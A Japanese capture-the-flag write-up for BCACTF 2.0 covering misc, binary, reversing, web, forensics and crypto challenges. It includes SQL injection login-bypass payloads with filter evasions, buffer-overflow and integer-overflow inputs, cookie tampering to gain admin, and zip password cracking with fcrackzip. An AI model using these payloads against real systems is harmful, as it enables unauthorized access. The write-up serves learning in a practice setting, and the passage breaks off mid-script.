BCACTF 2.0 Writeup

この大会は2021/6/11 9:00(JST)~2021/6/14 9:00(JST)に開催されました。
今回もチームで参戦。結果は6500点で841チーム中20位でした。
自分で解けた問題をWriteupとして書いておきます。

Example Problem (misc 25)

問題にフラグが書いてあった。

bcactf{this_is_a_flag}

Obligatory Discord Problem (misc 25)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてある。

bcactf{is_too_sanity_checks_two_much?}

I Can Haz Interwebz? (misc 50)

ncで接続するだけ。

$ nc misc.bcactf.com 49155
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::                              ::::::::::::::::::
############::::::::::::::::############  ##############################  ::::::::::::::::
######################################  ######??????????????????????######  ::::::::::::::
============################==========  ####??????????<>????<>????????####  ::::::::::::::
======================================  ##????<>????????????    ??<>????##  ::    ::::::::
======================================  ##????????????????  ;;;;  ??????##    ;;;;  ::::::
------------================      ----  ##??????????<>????  ;;;;;;??????##  ;;;;;;  ::::::
----------------------------;;;;    --  ##????????????????  ;;;;;;        ;;;;;;;;  ::::::
----------------------------  ;;;;      ##????????????????  ;;;;;;;;;;;;;;;;;;;;;;  ::::::
++++++++++++----------------    ;;;;    ##????????????<>  ;;;;;;;;;;;;;;;;;;;;;;;;;;  ::::
++++++++++++++++++++++++++++++    ;;;;  ##??<>??????????  ;;;;;;@@  ;;;;;;;;@@  ;;;;  ::::
++++++++++++++++++++++++++++++++        ##??????????????  ;;;;;;    ;;;;  ;;    ;;;;  ::::
~~~~~~~~~~~~++++++++++++++++~~~~~~~~    ####??????<>????  ;;()();;;;;;;;;;;;;;;;()()  ::::
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ######????????????  ;;;;;;            ;;;;  ::::::
$$$$$$$$$$$$~~~~~~~~~~~~~~~~$$$$$$$$      ##################  ;;;;;;;;;;;;;;;;;;  ::::::::
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  ;;;;;;                                      ::::::::::
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  ;;;;    ::  ;;  ::::::::::  ;;  ::  ;;;;  ::::::::::::
::::::::::::$$$$$$$$$$$$$$$$::::::        ::::    ::::::::::::::    ::::    ::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

bcactf{r41nb0w_P0p_t4rT5_g0_nY4_s3Dy0Bqd6u}
from https://github.com/klange/nyancat
bcactf{r41nb0w_P0p_t4rT5_g0_nY4_s3Dy0Bqd6u}

BCA Mart (binex 75)

ある程度大きい数だけ購入して、購入額をマイナスにして所持金を増やす。その後フラグを購入すればよい。

$ nc bin.bcactf.com 49153
Welcome to BCA MART!
We have tons of snacks available for purchase.
(Please ignore the fact we charge a markup on everything)

1) Hichew™: $2.00
2) Lays® Potato Chips: $2.00
3) Water in a Bottle: $1.00
4) Not Water© in a Bottle: $2.00
5) BCA© school merch: $20.00
6) Flag: $100.00
0) Leave

You currently have $15.
What would you like to buy?
> 1
How many fruity pieces of goodness would you like to buy?
> 10000000000000
That'll cost $-1662697472.
Thanks for your purchse!

1) Hichew™: $2.00
2) Lays® Potato Chips: $2.00
3) Water in a Bottle: $1.00
4) Not Water© in a Bottle: $2.00
5) BCA© school merch: $20.00
6) Flag: $100.00
0) Leave

You currently have $1662697487.
What would you like to buy?
> 6
How many super-cool ctf flags would you like to buy?
> 1
That'll cost $100.
Thanks for your purchse!
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}

Honors ABCs (binex 75)

一文字も当てずに、BOFで上書きすればよい。

$ nc bin.bcactf.com 49155
Welcome to your first class at BCA: Honors-level ABCs.
Because we expect all our students to be perfect, I'm not going to teach you anything.
Instead, we're going to have a quiz!
And, of course, I expect all of you to know the material already.

╔════════════════════════╗
║ THE QUIZ               ║
║                        ║
║ 1) Recite the alphabet ║
╚════════════════════════╝

Answer for 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
How did you end up here?
You must have cheated!
Let me recite the BCA plagarism policy.

Cheating and Plagiarism Policy
==============================

To plagiarize is to steal and use (the ideas or writings of another) as one’s
own (American Heritage Dictionary, 1973:1001). Legally, plagiarism has been
defined as the act of appropriating the literary composition of another, or
parts or passages of his/her writings, or language of the same, and passing them
off as the product of one’s own mind (O’Rourke v. RKO Radio Pictures: 483). The
student should note that neither of these definitions includes intention or
motivation—it is the act itself which constitutes plagiarism. Ignorance, naiveté
or sloppiness is no excuse.

Consequences for Plagiarism or Cheating
---------------------------------------
1st Offense:
1. A grade of “0” will be given for the assignment or test
2. Option to re-do assignment with the grade for the redone assignment averaged
   with the zero for a final average not to exceed 50%.
3. If a student is caught cheating on a test, the student may retake the test;
   the zero on the first test will be averaged with the score on the retake for
   a maximum final test grade of 50%.
4. Parent notification; required parent conference with an administrator, or
   designee, to determine what further action, if any, should be taken.
5. A recording of the incident is made by the building supervisor.

2nd Offense:
1. A grade of “0” will be given for the assignment or test
2. No make-up option;
3. Parent notification; required parent conference with an administrator, or
   designee, to determine what further action, if any, should be taken.
4. A formal recording of the incident is placed in the student’s folder.
5. A one-day out-of-school suspension is assigned.

3rd Offense:
1. Loss of course credit
2. Required parent conference with an administrator, or designee
3. Up to three-day suspension
4. Recommendation for alternative placement

Plagiarism and cheating are serious offenses and the Board expects all students
to be honest in the presentation and submission of their assignments, homework,
test answers and any other academic works as the product of their own
intellectual efforts. Any student who copies verbatim or paraphrases another’s
words or ideas or who allows one’s own words or ideas to be copied verbatim or
paraphrased shall be guilty of plagiarism. A student who shares his own words or
ideas with another or presents another’s words or ideas and attributes them as
his own is also guilty of plagiarism.

Cheating is acting dishonestly or unfairly in order to gain an advantage. Acts
of cheating may include the submission of work prepared by another but passing
it off as one’s own or copying the work or answers of another. It is also an act
or instance of sharing or allowing to be shared one’s own works, words, answers
or ideas with others. For more information see Board Policy 5701.

The above is copied from
https://www.bergen.org/cms/lib/NJ02213295/Centricity/Domain/9/studentHandbook2020_2021-rev-9-24.pdf
See, I cited my sources, so I'm obviously not plagiarising.

also let me add that that's a pretty ugly url

also also have the flag!
bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}

Alright, class dismissed!
bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}

AP ABCs (binex 100)

一文字も当てずに、BOFで上書きすればよいのは、Honors ABCsと同様。ただし、scoreを上書きする際には0x73434241(="ABCs")にする必要がある。

$ nc bin.bcactf.com 49154
Welcome to AP ABCs!
Unlike the non-AP class, you get the privilege of taking the AP test.
Wow, I know, so exciting right??!1
Anyways, good luck!

╔══════════════════════════════════════════╗
║ 2021              AP® | &#127792; College Board ║
║                                          ║
║                                          ║
║  ───────────────────────                 ║
║  AP Alphabet                             ║
║  Free-Response Questions                 ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║ Something about trademarks               ║
╚══════════════════════════════════════════╝

╔══════════════════════════════════════════╗
║          2021 AP® Alphabet FRQs          ║
║                                          ║
║                 ALPHABET                 ║
║                Section II                ║
║             Total Time—1 hour            ║
║           Number of Questions—1          ║
║                                          ║
║                                          ║
║ 1. Recite the alphabet                   ║
║                                          ║
║ ──────────────────────────────────────── ║
║                                          ║
║                                          ║
║                                          ║
║                   STOP                   ║
║                END OF EXAM               ║
║                                          ║
║                    -2-                   ║
╚══════════════════════════════════════════╝

Answer for 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

You got a 1684234849 on your APs.
>>> ('%x' % 1684234849).decode('hex')[::-1]
'abcd'

この部分を"ABCz"にすればよい。

$ nc bin.bcactf.com 49154
Welcome to AP ABCs!
Unlike the non-AP class, you get the privilege of taking the AP test.
Wow, I know, so exciting right??!1
Anyways, good luck!

╔══════════════════════════════════════════╗
║ 2021              AP® | &#127792; College Board ║
║                                          ║
║                                          ║
║  ───────────────────────                 ║
║  AP Alphabet                             ║
║  Free-Response Questions                 ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║                                          ║
║ Something about trademarks               ║
╚══════════════════════════════════════════╝

╔══════════════════════════════════════════╗
║          2021 AP® Alphabet FRQs          ║
║                                          ║
║                 ALPHABET                 ║
║                Section II                ║
║             Total Time—1 hour            ║
║           Number of Questions—1          ║
║                                          ║
║                                          ║
║ 1. Recite the alphabet                   ║
║                                          ║
║ ──────────────────────────────────────── ║
║                                          ║
║                                          ║
║                                          ║
║                   STOP                   ║
║                END OF EXAM               ║
║                                          ║
║                    -2-                   ║
╚══════════════════════════════════════════╝

Answer for 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzABCDEFGHIJKLMNOPQRSTUVWXYZABCs

You got a 1933787713 on your APs.
Tsk tsk tsk.
Cheating on the AP® tests is really bad!
Let me read you the College Board policies:

Section 3. Score Cancellation and Disciplinary Measures

 a. Score Cancellation and Disciplinary Measures. In the event that College
    Board or ETS determines that your scores are invalid under section 3(b)
    below, or you have engaged in Misconduct under section 3(c) below, we may,
    in our sole discretion, take one or more of the following measures
    (“Measures”): deny you the right to a test administration, decline to score
    your test, cancel your scores, ban you from taking future College Board
    assessments (including, without limitation, the SAT, CLEP Exam or any future
    AP exams), and/or share information with others as set forth in section 3(f)
    below.

    CAUTION! THE CONSEQUENCES OF CHEATING ON THE AP EXAM ARE SEVERE.

    ALL INSTITUTIONS TO WHICH YOU SEND AP SCORES MAY BE NOTIFIED OF YOUR
    MISCONDUCT.
     
 b. Invalid Scores. We may cancel your scores and/or take any of the other
    Measures described above if after following the procedures set forth in this
    section, we determine, in our sole discretion, that there is substantial
    evidence that your scores are invalid (“Invalid Scores”). Examples of
    evidence of Invalid Scores include, without limitation, discrepant
    handwriting, unusual answer patterns, similar essays, or other evidence that
    indicates these Terms and Conditions may have been violated. Before
    canceling your scores under this Invalid Scores section, we will notify you
    in writing (via email if an email address is available) and provide you with
    an opportunity to submit written information to us to help resolve our
    inquiry. If you opt for a further review by a College Board review panel,
    and it confirms, in its sole discretion, that your scores are invalid, we
    will offer you 2 options: voluntary score cancellation or arbitration as set
    forth in Section 8 below. This process is referred to as the “Score Validity
    Process”. The arbitration option is available only for tests administered in
    the United States and U.S. Territories.
     
 c. Misconduct. Notwithstanding section 3(b) above, if we determine, in our sole
    discretion, that there is overwhelming evidence that you violated these
    Terms and Conditions (“Misconduct”), the Score Validity Process will not
    apply, and we may cancel your scores and/or take any of the Measures
    described above. Examples of Misconduct might include having someone else
    assist you during the exam, having someone else take the test for you,
    giving assistance to another test taker during the exam, or plagiarizing,
    which includes submitting an exam with any material other than the exclusive
    product of your own work, or that includes any text, content, graphics,
    pictures, or other content from a third-party source. Misconduct may be
    established in various ways, including, without limitation, by evidence
    discovered after the administration.
     
 d. Testing Irregularities. We may cancel your scores if we determine, in our
    sole discretion, that any testing irregularity occurred (collectively,
    “Testing Irregularities”). Examples of Testing Irregularities include
    problems, irregular circumstances, or events associated with the
    administration of a test, and may affect one test taker or groups of test
    takers. Such problems include, without limitation, administrative errors
    (e.g., using accommodations not approved by College Board or defective
    equipment), network outages, system errors, evidence of possible
    preknowledge of secure test content, and disruptions of test administrations
    caused by events such as natural disasters, epidemics, wars, riots, civil
    disturbances, or other emergencies. When Testing Irregularities occur, we
    may cancel an entire administration or individual registrations, decline to
    score all or part of the test, or cancel scores. We may do this regardless
    of whether or not you caused the Testing Irregularities, benefited from
    them, or violated these Terms and Conditions. We may, in our sole
    discretion, give you a refund. This is the sole remedy that may be available
    to you as a result of Testing Irregularities.
     
 e. Test Taker Reporting Misconduct or Suspicious Behavior. You may
    confidentially report any suspected violation of these Terms and Conditions,
    or any suspicion concerning the security of an AP Exam administration, by
    immediately emailing the AP Hotline at
    collegeboardtestsecurity@collegeboard.org.
     
 f. College Board Sharing Information with Third Parties. We may share the
    results of test security investigations (including, without limitation,
    those relating to Misconduct described above, and other disciplinary-related
    information), with third parties, including with your teacher, school, any
    score recipient, college, higher education institution or agency,
    scholarship organization, admissions office, potential score recipient,
    government agency in the United States or abroad, parents, legal guardians,
    or law enforcement. College Board may also share such information with third
    parties that have a legitimate reason for knowing the information or who may
    be able to assist College Board in its investigation or who may be
    conducting their own investigation. College Board may respond to inquiries
    from any institution to which you submitted a score. If you publicize any
    review, investigation, or decision of College Board, College Board may make
    any and all details of such matter public.

Shamelessly copied from
https://apstudents.collegeboard.org/ap-2020-2021/about-2021-ap-exams/terms-conditions
And take your flag: bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}
bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}

Digitally Encrypted 1 (rev 75)

https://github.com/hneemann/Digitalのツールで、circuit_1.digを開く。
f:id:satou-y:20210626134724p:plain
平文がkeyとXORをして暗号化しているだけなので、XORで戻す。

from Crypto.Util.number import *

ciph = [0xB6A46EE913B33E19, 0xBCA67BD510B43632, 0xA4B56AFE13AC1A1E,
    0xBDAA7FE602E4775E, 0xEDF63AB850E67010]
key = 0xD4C70F8A67D5456D

flag = ''
for i in range(len(ciph)):
    plain = ciph[i] ^ key
    flag += long_to_bytes(plain)

print flag
bcactf{that_was_pretty_simple1239152735}

Storytime: The Opening Gambit (rev 75)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long lVar1;
  char **ppcVar2;
  long in_FS_OFFSET;
  int local_238;
  char *local_228 [4];
  char *local_208;
  char *local_200;
  char *local_1f8;
  char *local_1f0;
  char *local_1e8;
  undefined *local_1e0;
  char *local_1d8;
  char *local_1d0;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  lVar1 = 0x43;
  ppcVar2 = local_228;
  while (lVar1 != 0) {
    lVar1 = lVar1 + -1;
    *ppcVar2 = (char *)0x0;
    ppcVar2 = ppcVar2 + 1;
  }
  local_228[0] = "Baa, baa, black sheep,";
  local_228[1] = "Have you any wool?";
  local_228[2] = "Yes sir, yes sir,";
  local_228[3] = "Three bags full.";
  local_208 = "One for the master,";
  local_200 = "One for the dame,";
  local_1f8 = "And one for the little boy";
  local_1f0 = "Who lives down the lane\n";
  local_1e8 = "bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}";
  local_1e0 = &DAT_001020d6;
  local_1d8 = "Did you know? I almost used \"Little Miss Muffet\" for this problem.";
  local_1d0 = "Spiders make string too, kind of.";
  local_238 = 0;
  while (local_238 < 4) {
    puts(local_228[local_238]);
    sleepNanos(1,500000000);
    local_238 = local_238 + 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

実行するだけでは出力されないバッファに、フラグが設定されていた。

bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}

A Fun Game (rev 100)

$ file Game.exe 
Game.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyでデコンパイルする。

namespace AFunGame
{
	// Token: 0x02000002 RID: 2
	internal class Game
                :
			if (Game.points > Game.pointsNeeded)
			{
				char[] array = "}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb".ToCharArray();
				Array.Reverse<char>(array);
				Console.WriteLine("Here's your flag: " + new string(array));
			}
			else
			{
				Console.WriteLine("Well, better luck next time!");
			}
                :
	}
}
>>> "}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb"[::-1]
'bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}'
bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}

Home Automation (webex 75)

ログインすると、クッキーのuserに"vampire"が設定されていることがわかる。Lightsをクリックすると、以下のメッセージが表示される。

You must be admin to turn off the lights. Currently you are "vampire".

クッキーのuserを"admin"にして、Lightsをクリックすると、フラグが表示された。

bcactf{c00k13s_s3rved_fr3sh_fr0m_th3_smart_0ven_cD7EE09kQ}

Movie-Login-1 (webex 100)

SQLインジェクション。Usernameに以下を設定し、Submitすると、フラグが表示された。

' or 1=1 -- -
bcactf{s0_y0u_f04nd_th3_fl13r?}

Wasm Protected Site 1 (webex 100)

http://web.bcactf.com:49157/main.jsを見る。

const fetchWASMCode = () => {
    return new Promise((res, rej) => {
        const req = new XMLHttpRequest();

        req.onload = function () {
            res(req.response);
        }
        req.onerror = (err) => {
            console.warn('If you\'re seeing this logged, something broke');
            rej(err)
        }
        req.open("GET", "./code.wasm");
        req.responseType = "arraybuffer";
        req.send();
    });
};

ここでオープンしているhttp://web.bcactf.com:49157/code.wasmをダウンロードする。このファイルにフラグが含まれていた。

bcactf{w4sm-m4g1c-xRz5}

Agent Gerald (webex 125)

UserAgentに"Gerald"を指定して、アクセスする。

$ curl -A "Gerald" http://web.bcactf.com:49156/
<!DOCTYPE html>
        <html>
            <head>
            </head>
            <body>
                <h1>Welcome to the Stegosaurus Intelligence-6 Homepage</h1>
                <h2>Are you Agent Gerald?</h2>
                <img src="gerald.PNG" alt="agent gerald" style="width: 50%"></img>
                   <h4> Welcome, Agent Gerald! Your flag is: bcactf{y0u_h@ck3d_5tegos@urus_1nt3lligence} </h4>
            </body>
        </html>
bcactf{y0u_h@ck3d_5tegos@urus_1nt3lligence}

Movie-Login-2 (webex 150)

SQLインジェクション。ただし"1", "0", "/", "="が使えない。Usernameに以下を設定し、Submitすると、フラグが表示された。

' or 2<3 -- -
bcactf{h0w_d1d_y0u_g3t_h3r3_th1s_t1m3?!?}

Movie-Login-3 (webex 200)

SQLインジェクション。ただし使えないものが増える。使えないものは以下の通り。

"and", "1", "0", "true", "false", "/", "*", "=", "xor", "null", "is", "<", ">"

Usernameに以下を設定し、Submitすると、フラグが表示された。

' or 'A' IN ('A', 'B') -- -
bcactf{gu3ss_th3r3s_n0_st0pp1ng_y0u!}

Infinite Zip (foren 75)

ひたすらzip解凍していく。最後にflag.pngが展開される。

import zipfile

for i in range(999, -1, -1):
    fname = '%d.zip' % i
    with zipfile.ZipFile(fname) as f:
        f.extractall()

flag.pngEXIFを見てみると、Creatorにフラグが設定されていた。

$ exiftool flag.png
ExifTool Version Number         : 10.80
File Name                       : flag.png
Directory                       : .
File Size                       : 56 kB
File Modification Date/Time     : 2021:06:11 15:33:42+09:00
File Access Date/Time           : 2021:06:11 20:37:28+09:00
File Inode Change Date/Time     : 2021:06:11 15:33:42+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1800
Image Height                    : 1200
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
XMP Toolkit                     : Image::ExifTool 11.88
Creator                         : bcactf{z1p_1n51d3_4_z1p_4_3v3r}
Image Size                      : 1800x1200
Megapixels                      : 2.2
bcactf{z1p_1n51d3_4_z1p_4_3v3r}

Zstegosaurus (foren 75)

$ zsteg zstegosaurus.png 
b1,r,lsb,xy         .. text: "h15_n@m3_i5nt_g3rard"
b4,rgb,msb,xy       .. text: ["w" repeated 10 times]
bcactf{h15_n@m3_i5nt_g3rard}

Gerald's New Job (foren 100)

$ binwalk gerald.pdf 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
66            0x42            Zip archive data, at least v2.0 to extract, uncompressed size: 441011, name: GeraldFlag.png
390777        0x5F679         Zip archive data, at least v2.0 to extract, uncompressed size: 367, name: __MACOSX/._GeraldFlag.png
391327        0x5F89F         End of Zip archive
392072        0x5FB88         Zlib compressed data, default compression
722826        0xB078A         Zlib compressed data, default compression
723219        0xB0913         End of Zip archive

$ binwalk -e gerald.pdf 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
66            0x42            Zip archive data, at least v2.0 to extract, uncompressed size: 441011, name: GeraldFlag.png
390777        0x5F679         Zip archive data, at least v2.0 to extract, uncompressed size: 367, name: __MACOSX/._GeraldFlag.png
391327        0x5F89F         End of Zip archive
392072        0x5FB88         Zlib compressed data, default compression
722826        0xB078A         Zlib compressed data, default compression
723219        0xB0913         End of Zip archive

GeraldFlag.pngが抽出でき、その画像にフラグが書いてあった。
f:id:satou-y:20210626150200p:plain

bcactf{g3ra1d_15_a_ma5ter_p01yg1ot_0769348}

More than Meets the Eye (foren 100)

2種類のゼロ幅スペースがたくさん入っている。0, 1に置き換えデコードする。さらにデコードする際は8bitごとに末尾が0になっているので、逆順にしてデコードする。

with open('zwsp.txt', 'r') as f:
    data = f.read()

data = data[0x16:-2]

bin_flag = ''
for i in range(0, len(data), 3):
    if data[i:i+3] == '\xe2\x80\x8b':
        bin_flag += '0'
    elif data[i:i+3] == '\xe2\x80\x8c':
        bin_flag += '1'
    else:
        print 'ng'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8][::-1], 2))
print flag
bcactf{z3r0_w1dth_jungl3_j82axH4}

Secure Zip (foren 100)

zipが添付されているが、パスワードがかかっているので、クラックする。

$ fcrackzip -u -D -p dict/rockyou.txt chall.zip 


PASSWORD FOUND!!!!: pw == dogedoge
$ unzip -P dogedoge chall.zip 
Archive:  chall.zip
 extracting: flag.txt                
 extracting: homework.txt
$ cat flag.txt
bcactf{cr4ck1ng_z1p_p455w0rd5_15_fun_a12ca37bdacef7}
bcactf{cr4ck1ng_z1p_p455w0rd5_15_fun_a12ca37bdacef7}

Easy RSA (crypto 50)

p, qがわかっているので、そのまま復号する。

from Crypto.Util.number import *

p = 251867251891350186672194341006245222227
q = 31930326592276723738691137862727489059
n = 8042203610790038807880567941309789150434698028856480378667442108515166114393
e = 65537
ct = 5247423021825776603604142516096226410262448370078349840555269847582407192135

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag
bcactf{RSA_IS_EASY_AFTER_ALL}

􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉 (crypto 75)

四角に×のような記号が並んでいるが、文字によって微妙に異なるコードになっている。ASCII文字に置換してみる。

"ABCBD EFAAG EHCB IFJ JK" HL MNB OBPJM LHAEQB DBRFDOBO PI BAEQHLN LHAEBD GAO LFAESDHMBD DHRT GLMQBI, DBQBGLBO FA 27 UJQI 1987. HM SGL SDHMMBA GAO KDFOJRBO PI LMFRT GHMTBA SGMBDVGA, GAO SGL DBQBGLBO GL MNB WHDLM LHAEQB WDFV GLMQBI'L OBPJM GQPJV, SNBABCBD IFJ ABBO LFVBPFOI (1987). MNB LFAE SGL G SFDQOSHOB AJVPBD-FAB NHM, HAHMHGQQI HA MNB JAHMBO THAEOFV HA 1987, SNBDB HM LMGIBO GM MNB MFK FW MNB RNGDM WFD WHCB SBBTL GAO SGL MNB PBLM-LBQQHAE LHAEQB FW MNGM IBGD. HM BCBAMJGQQI MFKKBO MNB RNGDML HA 25 RFJAMDHBL, HARQJOHAE MNB JAHMBO LMGMBL GAO SBLM EBDVGAI.[6] MNB LFAE SFA PBLM PDHMHLN LHAEQB GM MNB 1988 PDHM GSGDOL.

MNB VJLHR CHOBF WFD MNB LFAE NGL PBRFVB MNB PGLHL WFD MNB "DHRTDFQQHAE" HAMBDABM VBVB. HA 2008, GLMQBI SFA MNB VMC BJDFKB VJLHR GSGDO WFD PBLM GRM BCBD SHMN MNB LFAE, GL G DBLJQM FW RFQQBRMHCB CFMHAE WDFV MNFJLGAOL FW KBFKQB FA MNB HAMBDABM, OJB MF MNB KFKJQGD KNBAFVBAFA FW DHRTDFQQHAE.[7] MNB LFAE HL RFALHOBDBO GLMQBI'L LHEAGMJDB LFAE GAO HM HL FWMBA KQGIBO GM MNB BAO FW NHL QHCB RFARBDML.

HA 2019, GLMQBI DBRFDOBO GAO DBQBGLBO G 'KHGAFWFDMB' CBDLHFA FW MNB LFAE WFD NHL GQPJV MNB PBLM FW VB, SNHRN WBGMJDBL G ABS KHGAF GDDGAEBVBAM.[8]

LNGVBQBLLQI RFKHBO WDFV [SHTHKBOHG'L GDMHRQB FA MNB LJPUBRM](NMMKL://BA.SHTHKBOHG.FDE/SHTH/ABCBD_EFAAG_EHCB_IFJ_JK)

PRGRMW{LFDDI_SB_DGA_FJM_FW_DJABL_LUDNSPE}

quipqiupで復号する。

"NEVER GONNA GIVE YOU UP" IS THE DEBUT SINGLE RECORDED BY ENGLISH SINGER AND SONGWRITER RICK ASTLEY, RELEASED ON 27 JULY 1987. IT WAS WRITTEN AND PRODUCED BY STOCK AITKEN WATERMAN, AND WAS RELEASED AS THE FIRST SINGLE FROM ASTLEY'S DEBUT ALBUM, WHENEVER YOU NEED SOMEBODY (1987). THE SONG WAS A WORLDWIDE NUMBER-ONE HIT, INITIALLY IN THE UNITED KINGDOM IN 1987, WHERE IT STAYED AT THE TOP OF THE CHART FOR FIVE WEEKS AND WAS THE BEST-SELLING SINGLE OF THAT YEAR. IT EVENTUALLY TOPPED THE CHARTS IN 25 COUNTRIES, INCLUDING THE UNITED STATES AND WEST GERMANY.[6] THE SONG WON BEST BRITISH SINGLE AT THE 1988 BRIT AWARDS. THE MUSIC VIDEO FOR THE SONG HAS BECOME THE BASIS FOR THE "RICKROLLING" INTERNET MEME. IN 2008, ASTLEY WON THE MTV EUROPE MUSIC AWARD FOR BEST ACT EVER WITH THE SONG, AS A RESULT OF COLLECTIVE VOTING FROM THOUSANDS OF PEOPLE ON THE INTERNET, DUE TO THE POPULAR PHENOMENON OF RICKROLLING.[7] THE SONG IS CONSIDERED ASTLEY'S SIGNATURE SONG AND IT IS OFTEN PLAYED AT THE END OF HIS LIVE CONCERTS. IN 2019, ASTLEY RECORDED AND RELEASED A 'PIANOFORTE' VERSION OF THE SONG FOR HIS ALBUM THE BEST OF ME, WHICH FEATURES A NEW PIANO ARRANGEMENT.[8] SHAMELESSLY COPIED FROM [WIKIPEDIA'S ARTICLE ON THE SUBJECT](HTTPS://EN.WIKIPEDIA.ORG/WIKI/NEVER_GONNA_GIVE_YOU_UP) BCACTF{SORRY_WE_RAN_OUT_OF_RUNES_SJRHWBG}

文章末にフラグが書いてあった。小文字にすると通った。

bcactf{sorry_we_ran_out_of_runes_sjrhwbg}

Cipher Mishap (crypto 75)

数値は104~131, 137。8進数としてデコードする。またYやNは大文字のフラグとして変換する。

import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

with open('text.txt', 'r') as f:
    enc = f.read().rstrip().split(', ')

dec = ''
for c in enc:
    code = c.split('-')[0]
    char = chr(int(code, 8))
    if char in string.uppercase:
        if c.split('-')[1] == 'N':
            char = char.lower()
    dec += char

flag = caesar(dec, 3)
flag = 'bcactf{%s}' % flag
print flag
bcactf{Should_iT_Have_BeeN_Vigenere_Instead}

Sailing Thru Decryption (crypto 75)

国際信号旗https://ja.wikipedia.org/wiki/国際信号旗を参考に復号する。

011001110110101001110011011011010111011101110011
011110110011000101111000010111110110111100110001
011010110101111101111000001101000111000001110010
010111110110110000110011011110010011010001101010
011011100011111101111101
THEKEYISFHSKDN

2進数をデコードする。

enc = '''
011001110110101001110011011011010111011101110011
011110110011000101111000010111110110111100110001
011010110101111101111000001101000111000001110010
010111110110110000110011011110010011010001101010
011011100011111101111101
'''
enc = enc.replace('\n', '')
msg = ''
for i in range(0, len(enc), 8):
    msg += chr(int(enc[i:i+8], 2))
print msg

実行結果は以下の通り。

gjsmws{1x_o1k_x4pr_l3y4jn?}

Vigenere暗号。FHSKDNをキーにしてhttps://www.dcode.fr/vigenere-cipherで復号する。

bcactf{1s_h1s_n4me_g3r4rd?}

Slightly Harder RSA (crypto75)

factordbでnを素因数分解する。

n = 884666943491340899394244376743 * 1070864180718820651198166458463

あとはそのまま復号する。

from Crypto.Util.number import *

n = 947358141650877977744217194496965988823475109838113032726009
e = 65537
ct = 811950322931973288295794871117780672242424164631309902559564

p = 884666943491340899394244376743
q = 1070864180718820651198166458463

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag
bcactf{rsa_factoring}

Little e (crypto 100)

eが小さく、Nが大きいため、Low Public Exponent Attackで復号する。

import gmpy
from Crypto.Util.number import *

e = 3
ct = 1112413624683819960899152482895461211039349964898672381675850025556800617245120168928400758297834676330400246617472191750627367991315450127361583383350639760738254818244740474313061192563860605923503717

m = gmpy.root(ct, e)[0]
flag = long_to_bytes(m)
print flag
bcactf{R54_N0T_50_S3CUR3_33}

RSAtrix 1 (crypto 125)

暗号化後の行列はcの値が散っているだけなので、その値を復号する。その際p, qがわかっているので、そのまま復号すればよい。

from Crypto.Util.number import *

p = 35953130875571662629774552621633952493346190947047
q = 68201352784431955275947627343562102980308744031461
n = p * q
e = 3
